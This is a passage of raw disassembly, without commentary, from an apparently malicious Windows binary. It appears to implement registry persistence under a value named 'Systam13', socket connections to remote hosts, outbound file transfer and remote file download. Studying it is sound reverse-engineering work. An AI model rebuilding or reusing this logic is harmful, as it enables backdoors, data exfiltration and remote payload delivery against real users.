lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_40D679
add esp, 14h
loc_40BE42: ; CODE XREF: sub_40BC4B+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_40BF6D
pop ecx
push esi
call dword_43ADCC
push [ebp+var_4]
call dword_43ADCC
push [ebp+var_1D8]
call sub_417078
pop ecx
push ebx
nop
call near ptr 261031Eh
pop edi
pop esi
pop ebx
sub_40BC4B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BE75 proc near ; CODE XREF: sub_40EE72+448Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43FA70
mov edi, 0B8h
loc_40BE89: ; CODE XREF: sub_40BE75+33j
cmp byte ptr [esi], 0
jz short loc_40BEAC
push [ebp+arg_0]
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_40BEAC
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_4405F0
jl short loc_40BE89
jmp short loc_40BEEE
; ---------------------------------------------------------------------------
loc_40BEAC: ; CODE XREF: sub_40BE75+17j
; sub_40BE75+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43FA70[esi]
push ebx
call sub_417330
push 17h
push [ebp+arg_0]
push ebx
call sub_418C10
push 9Fh
lea eax, dword_43FA88[esi]
push [ebp+arg_4]
push eax
call sub_418C10
add esp, 24h
inc dword_42F794
pop ebx
loc_40BEEE: ; CODE XREF: sub_40BE75+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_40BE75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BEF5 proc near ; CODE XREF: sub_40EE72+5B58p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_42DF90
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
xor edi, edi
mov esi, offset dword_43FA70
loc_40BF1F: ; CODE XREF: sub_40BEF5+72j
cmp byte ptr [esi], 0
jz short loc_40BF5A
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_42DF84
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41782A
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 2Ch
loc_40BF5A: ; CODE XREF: sub_40BEF5+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_4405F0
jl short loc_40BF1F
pop edi
pop esi
leave
retn
sub_40BEF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BF6D proc near ; CODE XREF: sub_401000+9Ap
; sub_4010B5+314p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
nop
call near ptr 26204C6h
mov ebx, offset dword_43F164
mov edi, 80h
mov esi, offset dword_43B164
loc_40BF8F: ; CODE XREF: sub_40BF6D+3Dj
cmp byte ptr [ebx], 0
jz short loc_40BFA6
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_418C10
add esp, 0Ch
loc_40BFA6: ; CODE XREF: sub_40BF6D+25j
sub ebx, edi
cmp ebx, esi
jge short loc_40BF8F
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41782A
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_40BF6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFE1 proc near ; CODE XREF: sub_407BDE+15Bp
; ___:00407F15p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_4193FF
lea eax, [ebp+var_80]
push eax
call sub_40BF6D
add esp, 14h
leave
retn
sub_40BFE1 endp
; =============== S U B R O U T I N E =======================================
sub_40C00D proc near ; CODE XREF: sub_40EE72+5A4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_43B164
xor ecx, ecx
loc_40C014: ; CODE XREF: sub_40C00D+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_43F164
jl short loc_40C014
cmp [esp+arg_C], ecx
push esi
mov esi, offset dword_42DFC4
jnz short loc_40C044
push ecx
push [esp+8+arg_8]
push esi
push [esp+10h+arg_4]
push [esp+14h+arg_0]
call sub_40D679
add esp, 14h
loc_40C044: ; CODE XREF: sub_40C00D+1Fj
push esi
call sub_40BF6D
pop ecx
pop esi
retn
sub_40C00D endp
; =============== S U B R O U T I N E =======================================
sub_40C04D proc near ; CODE XREF: sub_402DD7+2AEp
arg_0 = dword ptr 4
push esi
mov esi, offset dword_43B164
loc_40C053: ; CODE XREF: sub_40C04D+27j
cmp byte ptr [esi], 0
jz short loc_40C068
push [esp+4+arg_0]
push esi
call sub_40A96F
pop ecx
test eax, eax
pop ecx
jnz short loc_40C07A
loc_40C068: ; CODE XREF: sub_40C04D+9j
add esi, 80h
cmp esi, offset dword_43F164
jl short loc_40C053
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40C07A: ; CODE XREF: sub_40C04D+19j
push 1
pop eax
pop esi
retn
sub_40C04D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C07F proc near ; DATA XREF: sub_40EE72+5B02o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_40C0D2
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_42E018
push eax
push [ebp+var_11C]
call sub_40D679
add esp, 14h
loc_40C0D2: ; CODE XREF: sub_40C07F+33j
cmp [ebp+var_98], 0
jz short loc_40C0F2
lea eax, [ebp+var_98]
push eax
call sub_41781F
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_40C0F2
mov [ebp+var_8], eax
loc_40C0F2: ; CODE XREF: sub_40C07F+5Aj
; sub_40C07F+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_43B164
loc_40C0FB: ; CODE XREF: sub_40C07F+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_40C155
cmp byte ptr [esi], 0
jz short loc_40C144
cmp [ebp+var_98], 0
jz short loc_40C12A
cmp [ebp+var_4], 0
jnz short loc_40C12A
lea eax, [ebp+var_98]
push eax
push esi
call sub_40A96F
pop ecx
test eax, eax
pop ecx
jz short loc_40C144
loc_40C12A: ; CODE XREF: sub_40C07F+90j
; sub_40C07F+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_40D679
add esp, 14h
loc_40C144: ; CODE XREF: sub_40C07F+87j
; sub_40C07F+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_43F164
jl short loc_40C0FB
loc_40C155: ; CODE XREF: sub_40C07F+82j
lea eax, [ebp+var_31C]
push offset dword_42DFEC
push eax
call sub_4172B0
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_40C18F
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_40D679
add esp, 14h
loc_40C18F: ; CODE XREF: sub_40C07F+EEj
lea eax, [ebp+var_31C]
push eax
call sub_40BF6D
push [ebp+var_18]
call sub_417078
pop ecx
pop ecx
push esi
nop
call near ptr 261031Eh
pop edi
pop esi
sub_40C07F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C1AE proc near ; CODE XREF: sub_40AC42+1Ep
; ___:0040E9EFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_42E038
xor esi, esi
mov ebx, offset aSystam13 ; "Systam13"
loc_40C1C1: ; CODE XREF: sub_40C1AE+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_43AD4C
cmp [ebp+arg_0], esi
jz short loc_40C1FB
push [ebp+arg_0]
call sub_417AB0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_43ADBC
jmp short loc_40C205
; ---------------------------------------------------------------------------
loc_40C1FB: ; CODE XREF: sub_40C1AE+2Fj
push ebx
push [ebp+var_4]
call dword_43AD04
loc_40C205: ; CODE XREF: sub_40C1AE+4Bj
push [ebp+var_4]
call dword_43AD74
add edi, 8
cmp edi, offset dword_42E050
jb short loc_40C1C1
pop edi
pop esi
pop ebx
leave
retn
sub_40C1AE endp
; =============== S U B R O U T I N E =======================================
sub_40C21E proc near ; CODE XREF: sub_40C259+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_40C253
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_40C237: ; CODE XREF: sub_40C21E+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_424298[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_40C237
pop edi
pop ebx
loc_40C253: ; CODE XREF: sub_40C21E+Ej
mov eax, esi
pop esi
not eax
retn
sub_40C21E endp
; =============== S U B R O U T I N E =======================================
sub_40C259 proc near ; CODE XREF: sub_40CAF1+24Ap
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_417B89
mov [esp+10h+var_10], offset aRb ; "rb"
push [esp+10h+arg_0]
mov esi, eax
call sub_4179A8
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_40C2A8
loc_40C27E: ; CODE XREF: sub_40C259+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_40C2AC
inc ebx
push ebx
push esi
call sub_41944F
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40C2A8
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_418A86
add esp, 10h
jmp short loc_40C27E
; ---------------------------------------------------------------------------
loc_40C2A8: ; CODE XREF: sub_40C259+23j
; sub_40C259+39j
xor eax, eax
jmp short loc_40C2C7
; ---------------------------------------------------------------------------
loc_40C2AC: ; CODE XREF: sub_40C259+29j
dec ebx
push ebx
push esi
call sub_40C21E
push esi
mov ebx, eax
call sub_417C3B
push edi
call sub_417900
add esp, 10h
mov eax, ebx
loc_40C2C7: ; CODE XREF: sub_40C259+51j
pop edi
pop esi
pop ebx
retn
sub_40C259 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2CB proc near ; CODE XREF: sub_40C351+33p
; sub_40C8B4+BCp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_43AE18
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_40C347
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_43AD98
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_43ADD8
cmp eax, esi
jnz short loc_40C32C
push [ebp+arg_0]
call dword_43AE1C
test eax, eax
jz short loc_40C347
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_40C32C: ; CODE XREF: sub_40C2CB+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_43AD40
cmp eax, esi
jnz short loc_40C34B
push edi
call dword_43AE30
loc_40C347: ; CODE XREF: sub_40C2CB+1Bj
; sub_40C2CB+58j
mov eax, esi
jmp short loc_40C34D
; ---------------------------------------------------------------------------
loc_40C34B: ; CODE XREF: sub_40C2CB+73j
mov eax, edi
loc_40C34D: ; CODE XREF: sub_40C2CB+7Ej
pop edi
pop esi
leave
retn
sub_40C2CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C351 proc near ; DATA XREF: sub_40EE72+A88o
var_11B4 = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_417B30
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push 1
pop esi
push [ebp+var_14]
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_40C2CB
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_40C3E4
lea eax, [ebp+var_11B4]
push offset dword_42E0D4
push eax
call sub_4172B0
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40C3C7
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40D679
add esp, 14h
loc_40C3C7: ; CODE XREF: sub_40C351+59j
lea eax, [ebp+var_11B4]
push eax
call sub_40BF6D
push [ebp+var_10]
call sub_417078
pop ecx
pop ecx
push esi
nop
call near ptr 261031Eh
loc_40C3E4: ; CODE XREF: sub_40C351+3Fj
push offset byte_436EDC
push ebx
call sub_40B56C
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_40C44F
lea eax, [ebp+var_11B4]
push offset dword_42E094
push eax
call sub_4172B0
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40C42B
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40D679
add esp, 14h
loc_40C42B: ; CODE XREF: sub_40C351+BDj
lea eax, [ebp+var_11B4]
push eax
call sub_40BF6D
pop ecx
push ebx
call dword_43AE30
push [ebp+var_10]
call sub_417078
pop ecx
push esi
call near ptr 261031Eh
nop
loc_40C44F: ; CODE XREF: sub_40C351+A3j
push 64h
nop
call near ptr 2610E88h
xor edi, edi
mov esi, 1000h
loc_40C45E: ; CODE XREF: sub_40C351+168j
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_11B4]
push edi
push esi
push eax
push ebx
call dword_43ADB0
test eax, eax
jle short loc_40C4BB
lea eax, [ebp+var_11B4]
push offset asc_42A660 ; "\n"
push eax
call sub_4179D0
lea eax, [ebp+var_11B4]
push eax
call sub_40B358
add esp, 0Ch
test eax, eax
jz short loc_40C4BB
push 64h
call near ptr 2610E88h
nop
push 7
call sub_416FA4
test eax, eax
pop ecx
jnz short loc_40C45E
loc_40C4BB: ; CODE XREF: sub_40C351+130j
; sub_40C351+154j
lea eax, [ebp+var_11B4]
push offset dword_42E050
push eax
call sub_4172B0
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_40C4EE
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40D679
add esp, 14h
loc_40C4EE: ; CODE XREF: sub_40C351+180j
lea eax, [ebp+var_11B4]
push eax
call sub_40BF6D
pop ecx
push ebx
call dword_43AE30
push [ebp+var_10]
call sub_417078
pop ecx
push edi
nop
call near ptr 261031Eh
sub_40C351 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C512 proc near ; DATA XREF: sub_40EE72+4A7Co
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp+var_10], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_43AE18
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_40C560
push offset dword_42E258
jmp loc_40C719
; ---------------------------------------------------------------------------
loc_40C560: ; CODE XREF: sub_40C512+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call dword_43AD98
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_43ADC4
test eax, eax
jz short loc_40C59E
push offset dword_42E224
jmp loc_40C719
; ---------------------------------------------------------------------------
loc_40C59E: ; CODE XREF: sub_40C512+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call dword_43AD3C
push [ebp+var_2E]
call dword_43ACD4
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_417AB0
pop ecx
loc_40C5D0: ; CODE XREF: sub_40C512+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_40C5E3
push 5Fh
pop eax
jmp short loc_40C5E6
; ---------------------------------------------------------------------------
loc_40C5E3: ; CODE XREF: sub_40C512+CAj
movsx eax, al
loc_40C5E6: ; CODE XREF: sub_40C512+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_417AB0
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_40C5D0
push ebx
push edi
call dword_43ADC0
test eax, eax
jz short loc_40C619
push offset dword_42E0D4
jmp loc_40C719
; ---------------------------------------------------------------------------
loc_40C619: ; CODE XREF: sub_40C512+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
nop
call near ptr 2660829h
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_40C643
push offset dword_42E1F4
jmp loc_40C719
; ---------------------------------------------------------------------------
loc_40C643: ; CODE XREF: sub_40C512+125j
push esi
push eax
nop
call near ptr 26A0000h
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40AEE0
pop ecx
push eax
call dword_43ADD8
push eax
call dword_43AD94
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_42E1DC
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_40D679
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_43AD80
test eax, eax
jg short loc_40C6F3
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_42E1B4
push eax
push [ebp+var_1FC]
call sub_40D679
jmp loc_40C817
; ---------------------------------------------------------------------------
loc_40C6F3: ; CODE XREF: sub_40C512+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_43AE2C
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_40C72C
push offset dword_42E180
loc_40C719: ; CODE XREF: sub_40C512+49j
; sub_40C512+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_4172B0
pop ecx
pop ecx
jmp loc_40C81A
; ---------------------------------------------------------------------------
loc_40C72C: ; CODE XREF: sub_40C512+200j
push edi
call dword_43AE30
cmp [ebp+arg_0], esi
jz loc_40C7DE
mov edi, 400h
loc_40C741: ; CODE XREF: sub_40C512+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_40C74E
mov [ebp+var_4], eax
loc_40C74E: ; CODE XREF: sub_40C512+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_417330
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
nop
call near ptr 26D108Eh
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
nop
call near ptr 2640000h
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_43ADE8
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_43ADB0
cmp eax, ebx
jl loc_40C873
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_40C873
sub [ebp+arg_0], eax
jnz loc_40C741
mov edi, [ebp+var_18]
loc_40C7DE: ; CODE XREF: sub_40C512+224j
push [ebp+var_8]
nop
call near ptr 26408F3h
push [ebp+var_C]
push [ebp+var_10]
call sub_40D01A
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1E0]
push eax
push [ebp+var_44]
call dword_43AE24
push eax
lea eax, [ebp+var_3FC]
push offset dword_42E130
push eax
call sub_4172B0
loc_40C817: ; CODE XREF: sub_40C512+1DCj
add esp, 14h
loc_40C81A: ; CODE XREF: sub_40C512+215j
cmp [ebp+var_50], esi
jnz short loc_40C83F
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_40D679
add esp, 14h
loc_40C83F: ; CODE XREF: sub_40C512+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_40BF6D
cmp edi, esi
pop ecx
jbe short loc_40C857
push edi
call dword_43AE30
loc_40C857: ; CODE XREF: sub_40C512+33Cj
push [ebp+var_1F8]
call dword_43AE30
push [ebp+var_58]
call sub_417078
pop ecx
push esi
nop
call near ptr 261031Eh
loc_40C873: ; CODE XREF: sub_40C512+2AFj
; sub_40C512+2BAj
push esi
mov esi, offset dword_42E108
push [ebp+var_54]
lea eax, [ebp+var_DC]
push esi
push eax
push [ebp+var_1FC]
call sub_40D679
push esi
call sub_40BF6D
add esp, 18h
push [ebp+var_1F8]
call dword_43AE30
push [ebp+var_58]
call sub_417078
pop ecx
push ebx
nop
call near ptr 261031Eh
sub_40C512 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C8B4 proc near ; DATA XREF: sub_40EE72+7C0o
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_417B30
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp+var_8], ebx
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push 104h
push eax
nop
call near ptr 2620000h
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_2C4]
push offset aSS_2 ; "%s%s"
push eax
call sub_4172B0
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
nop
call near ptr 2660829h
cmp eax, 0FFFFFFFFh
jnz short loc_40C93E
push offset dword_42E350
jmp short loc_40C984
; ---------------------------------------------------------------------------
loc_40C93E: ; CODE XREF: sub_40C8B4+81j
push eax
nop
call near ptr 26408F3h
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_4179A8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_40C966
push offset dword_42E310
jmp short loc_40C984
; ---------------------------------------------------------------------------
loc_40C966: ; CODE XREF: sub_40C8B4+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_40C2CB
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_40C997
push offset dword_42E2E0
loc_40C984: ; CODE XREF: sub_40C8B4+88j
; sub_40C8B4+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_4172B0
pop ecx
pop ecx
jmp loc_40CA93
; ---------------------------------------------------------------------------
loc_40C997: ; CODE XREF: sub_40C8B4+C9j
mov esi, 1000h
loc_40C99C: ; CODE XREF: sub_40C8B4+14Ej
push esi
lea eax, [ebp+var_14C4]
push ebx
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_43ADB0
mov edi, eax
cmp edi, ebx
jz loc_40CA63
cmp edi, 0FFFFFFFFh
jz short loc_40CA04
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_4196EF
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_43AD94
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_43ADE8
jmp short loc_40C99C
; ---------------------------------------------------------------------------
loc_40CA04: ; CODE XREF: sub_40C8B4+118j
lea eax, [ebp+var_4C4]
push offset dword_42E108
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_40D679
lea eax, [ebp+var_4C4]
push eax
call sub_40BF6D
push [ebp+var_4]
call sub_417900
add esp, 24h
push [ebp+arg_0]
call dword_43AE30
push [ebp+var_1C]
call sub_417078
pop ecx
push 1
nop
call near ptr 261031Eh
loc_40CA63: ; CODE XREF: sub_40C8B4+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40D01A
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_4C4]
push offset dword_42E28C
push eax
call sub_4172B0
add esp, 14h
loc_40CA93: ; CODE XREF: sub_40C8B4+DEj
cmp [ebp+var_14], ebx
jnz short loc_40CAB8
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_40D679
add esp, 14h
loc_40CAB8: ; CODE XREF: sub_40C8B4+1E2j
lea eax, [ebp+var_4C4]
push eax
call sub_40BF6D
cmp [ebp+var_4], ebx
pop ecx
jz short loc_40CAD3
push [ebp+var_4]
call sub_417900
pop ecx
loc_40CAD3: ; CODE XREF: sub_40C8B4+214j
cmp [ebp+arg_0], ebx
jbe short loc_40CAE1
push [ebp+arg_0]
call dword_43AE30
loc_40CAE1: ; CODE XREF: sub_40C8B4+222j
push [ebp+var_1C]
call sub_417078
pop ecx
push ebx
nop
